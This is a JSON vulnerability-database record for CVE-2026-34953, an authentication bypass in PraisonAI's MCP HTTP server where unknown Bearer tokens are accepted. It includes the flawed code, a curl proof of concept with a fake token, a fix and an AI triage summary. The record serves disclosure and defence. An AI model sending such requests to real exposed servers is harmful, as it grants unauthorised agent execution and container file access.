{"id":"CVE-2026-34953","kind":"vulnerability","aliases":["CVE-2026-34953","GHSA-98f9-fqg5-hvq5"],"related":[],"title":"PraisonAI Has Authentication Bypass via OAuthManager.validate_token()","description":"### Summary\n\n`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.\n\n### Details\n\n`oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink)\n```python\n# source\ndef validate_token(self, token: str) -> bool:\n    for stored_token in self._tokens.values():\n        if stored_token.access_token == token:\n            return not stored_token.is_expired()\n\n# sink -- _tokens is empty by default, loop never executes, falls through\n    return True\n```\n\n### PoC\n```bash\n# install: pip install -e src/praisonai\n# start server: praisonai mcp serve --transport http-stream --port 8080\n\ncurl -s -X POST http://127.0.0.1:8080/mcp \\\n  -H \"Authorization: Bearer fake_token_abc123\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"id\":1}'\n\n# expected output: 200 OK with full tool list (50+ tools)\n# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write\n```\n\n### Impact\n\nAny unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.\n\n### Suggested Fix\n```python\ndef validate_token(self, token: str) -> bool:\n    for stored_token in self._tokens.values():\n        if stored_token.access_token == token:\n            return not stored_token.is_expired()\n    # Unknown tokens must be rejected.\n    # For external/JWT tokens, call the introspection endpoint here before returning.\n    return False\n```","summary":"PraisonAI's MCP HTTP server treats any Bearer token not in its empty internal store as valid, so requests are authenticated without credentials. An attacker with network access can list and run every registered tool, including agent execution, workflow runs, and container file read and write.","severity":"critical","cvss":9.1,"epss":0.0039,"exploited":false,"exploited_at":null,"products":[{"name":"praisonai","fixed":["4.5.97"],"affected":"<= 4.5.96","ecosystem":"pypi"},{"name":"praison praisonai","fixed":["4.5.97"],"affected":"< 4.5.97","ecosystem":"vendor"},{"via":"cpe","name":"PraisonAI","fixed":["4.5.97"],"affected":"< 4.5.97","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["ai-agents","ai-tooling","cwe-863","mcp","praisonai","python"],"not_affected_if":["auth-required","localhost-only","stdio-transport"],"how_to_check":"- Check the installed version with `pip show praisonai`; affected versions are `4.5.96` and below.\n- Look for `praisonai mcp serve` running with the `http-stream` transport, which binds to `0.0.0.0` by default.\n- Send a request with a made-up Bearer token to the MCP port and see if it returns a tool list.","fix":"- `praisonai` upgrade to `4.5.97` (fixed version per the product data).","status":"open","published_at":"2026-04-01T23:29:01+00:00","first_seen_at":"2026-11-16T16:03:24+00:00","triaged_at":"2026-11-16T16:04:49+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"ai-tooling","confidence":0.9,"triage":{"at":"2026-11-16T16:04:49Z","model":"claude-haiku-5-5","output":{"fix":"- `praisonai` upgrade to `4.5.97` (fixed version per the product data).","reach":"network","title":"PraisonAI: unknown Bearer tokens accepted, granting full MCP server access","impact":"high","summary":"PraisonAI's MCP HTTP server treats any Bearer token not in its empty internal store as valid, so requests are authenticated without credentials. An attacker with network access can list and run every registered tool, including agent execution, workflow runs, and container file read and write.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["python","mcp","ai-agents","praisonai"],"confidence":0.9,"fix_status":"available","needs_auth":"no","worst_case":"Unauthenticated attackers run agent tools and read or write container files","analyst_note":"","how_to_check":"- Check the installed version with `pip show praisonai`; affected versions are `4.5.96` and below.\n- Look for `praisonai mcp serve` running with the `http-stream` transport, which binds to `0.0.0.0` by default.\n- Send a request with a made-up Bearer token to the MCP port and see if it returns a tool list.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["stdio-transport","localhost-only","auth-required"],"who_is_affected":"Teams running the PraisonAI MCP HTTP server (`praisonai mcp serve --transport http-stream`) that is reachable from a network. The flaw is in the token check in OAuthManager.validate_token(), so any deployment that exposes the MCP HTTP endpoint with default settings is exposed. Local stdio use or deployments with the server bound to localhost behind a trusted network boundary are less exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000842,"input_tokens":5199,"output_tokens":644,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':9A,17A '-34953':10A,18A '-863':30B '0.0.0.0':257C '1':209C '127.0.0.1':190C '2.0':205C '200':212C '50':218C '8080':185C '8080/mcp':191C '98f9':13A 'abc123':197C 'access':61B,117C,231C 'agent':25B,70B,123C,243C 'ai':24B,27B 'ai-ag':23B 'ai-tool':26B 'api':262C 'application/json':202C 'arbitrari':108C 'attack':58B,228C 'authent':3A,54B,114C 'author':193C 'bash':169C 'bearer':41B,109C,194C 'bind':255C 'bool':141C,274C 'bypass':4A 'call':238C,296C 'capabl':124C 'contain':75B,247C 'content':200C 'content-typ':199C 'credenti':56B 'curl':186C 'cve':8A,16A 'cwe':29B 'd':203C 'def':135C,268C 'default':98C,160C,259C 'detail':125C 'e':173C 'empti':46B,96C,158C 'endpoint':299C 'everi':66B 'execut':71B,163C,244C 'expect':210C 'expir':154C,287C 'external/jwt':294C 'fake':195C 'fall':164C 'fals':304C 'file':76B,248C 'fix':266C 'found':89C 'fqg5':14A 'full':116C,215C 'ghsa':12A 'ghsa-98f9-fqg5-hvq5':11A 'grant':115C 'h':192C,198C 'http':37B,100C,182C,235C 'http-stream':181C 'hvq5':15A 'id':208C 'impact':225C 'includ':69B,220C,242C 'instal':170C,172C 'intern':47B,92C 'introspect':298C 'jsonrpc':204C 'key':263C 'list':63B,217C 'load':252C 'loop':129C,161C 'mcp':31B,36B,104C,178C,234C 'method':206C 'miss':130C 'must':290C 'network':60B,230C 'never':162C 'oauth.py:364':126C 'oauth.py:374':128C 'oauth.py:381':131C 'oauthmanager.validate':6A,81C 'ok':213C 'output':211C 'pip':171C 'poc':168C 'port':184C 'post':189C 'praison':20A 'praisonai':1A,19A,21A,22A,32B,34B,177C 'praisonai.agent.run':221C 'praisonai.containers.file':223C 'praisonai.workflow.run':222C 'python':33B,133C,267C 'read':77B 'read/write':249C 'regist':67B,120C,240C 'reject':292C 'request':52B,101C 'requir':264C 'return':83C,151C,166C,284C,302C,303C 'run':65B,73B,246C 'self':138C,271C 'self._tokens.values':146C,279C 'serv':179C 'server':38B,105C,176C,236C,254C 'sink':132C,155C 'skill':251C 'sourc':127C,134C 'src/praisonai':174C 'start':175C 'store':48B,93C,143C,276C 'stored_token.access':148C,281C 'stored_token.is':153C,286C 'str':140C,273C 'stream':183C 'suggest':265C 'summari':80C 'token':7A,42B,82C,87C,110C,137C,139C,144C,149C,150C,156C,196C,270C,272C,277C,282C,283C,289C,295C 'tool':28B,68B,121C,216C,219C,241C 'tools/list':207C 'transport':180C 'treat':39B,112C 'true':84C,167C 'type':201C 'unauthent':227C 'unknown':288C 'valid':50B,136C,269C 'via':5A 'without':55B 'workflow':72B,245C 'write':79B,224C 'x':188C","nicknames":[],"mitigations":[],"who_affected":"Teams running the PraisonAI MCP HTTP server (`praisonai mcp serve --transport http-stream`) that is reachable from a network. The flaw is in the token check in OAuthManager.validate_token(), so any deployment that exposes the MCP HTTP endpoint with default settings is exposed. Local stdio use or deployments with the server bound to localhost behind a trusted network boundary are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["praisonai","praisonpraisonai"],"ptokens":["praison","praisonai"],"labels":["aiagents","aitooling","critical","cwe863","mcp","praisonai","pypi","python","vendor"],"campaign_type":null,"search_a":"'-2026':9A,17A '-34953':10A,18A '98f9':13A 'authent':3A 'bypass':4A 'cve':8A,16A 'fqg5':14A 'ghsa':12A 'ghsa-98f9-fqg5-hvq5':11A 'hvq5':15A 'oauthmanager.validate':6A 'praison':20A 'praisonai':1A,19A,21A,22A 'token':7A 'via':5A","search_b":"'-863':30B 'access':61B 'agent':25B,70B 'ai':24B,27B 'ai-ag':23B 'ai-tool':26B 'attack':58B 'authent':54B 'bearer':41B 'contain':75B 'credenti':56B 'cwe':29B 'empti':46B 'everi':66B 'execut':71B 'file':76B 'http':37B 'includ':69B 'intern':47B 'list':63B 'mcp':31B,36B 'network':60B 'praisonai':32B,34B 'python':33B 'read':77B 'regist':67B 'request':52B 'run':65B,73B 'server':38B 'store':48B 'token':42B 'tool':28B,68B 'treat':39B 'valid':50B 'without':55B 'workflow':72B 'write':79B","search_c":"'0.0.0.0':257C '1':209C '127.0.0.1':190C '2.0':205C '200':212C '50':218C '8080':185C '8080/mcp':191C 'abc123':197C 'access':117C,231C 'agent':123C,243C 'api':262C 'application/json':202C 'arbitrari':108C 'attack':228C 'authent':114C 'author':193C 'bash':169C 'bearer':109C,194C 'bind':255C 'bool':141C,274C 'call':238C,296C 'capabl':124C 'contain':247C 'content':200C 'content-typ':199C 'curl':186C 'd':203C 'def':135C,268C 'default':98C,160C,259C 'detail':125C 'e':173C 'empti':96C,158C 'endpoint':299C 'execut':163C,244C 'expect':210C 'expir':154C,287C 'external/jwt':294C 'fake':195C 'fall':164C 'fals':304C 'file':248C 'fix':266C 'found':89C 'full':116C,215C 'grant':115C 'h':192C,198C 'http':100C,182C,235C 'http-stream':181C 'id':208C 'impact':225C 'includ':220C,242C 'instal':170C,172C 'intern':92C 'introspect':298C 'jsonrpc':204C 'key':263C 'list':217C 'load':252C 'loop':129C,161C 'mcp':104C,178C,234C 'method':206C 'miss':130C 'must':290C 'network':230C 'never':162C 'oauth.py:364':126C 'oauth.py:374':128C 'oauth.py:381':131C 'oauthmanager.validate':81C 'ok':213C 'output':211C 'pip':171C 'poc':168C 'port':184C 'post':189C 'praisonai':177C 'praisonai.agent.run':221C 'praisonai.containers.file':223C 'praisonai.workflow.run':222C 'python':133C,267C 'read/write':249C 'regist':120C,240C 'reject':292C 'request':101C 'requir':264C 'return':83C,151C,166C,284C,302C,303C 'run':246C 'self':138C,271C 'self._tokens.values':146C,279C 'serv':179C 'server':105C,176C,236C,254C 'sink':132C,155C 'skill':251C 'sourc':127C,134C 'src/praisonai':174C 'start':175C 'store':93C,143C,276C 'stored_token.access':148C,281C 'stored_token.is':153C,286C 'str':140C,273C 'stream':183C 'suggest':265C 'summari':80C 'token':82C,87C,110C,137C,139C,144C,149C,150C,156C,196C,270C,272C,277C,282C,283C,289C,295C 'tool':121C,216C,219C,241C 'tools/list':207C 'transport':180C 'treat':112C 'true':84C,167C 'type':201C 'unauthent':227C 'unknown':288C 'valid':136C,269C 'workflow':245C 'write':224C 'x':188C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-03-31T15:25:44+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-98f9-fqg5-hvq5","url":"https://github.com/advisories/GHSA-98f9-fqg5-hvq5","severity":"critical","published_at":"2026-04-01T23:29:01+00:00","modified_at":"2026-11-16T15:59:20+00:00","first_seen_at":"2026-11-16T16:03:24+00:00","fetched_at":"2026-11-16T16:07:02+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-34953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34953","severity":null,"published_at":"2026-04-03T23:17:06+00:00","modified_at":"2026-07-24T22:10:00+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170883,"url":"https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-98f9-fqg5-hvq5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170884,"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-31T15:25:44+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.0039,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34953"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}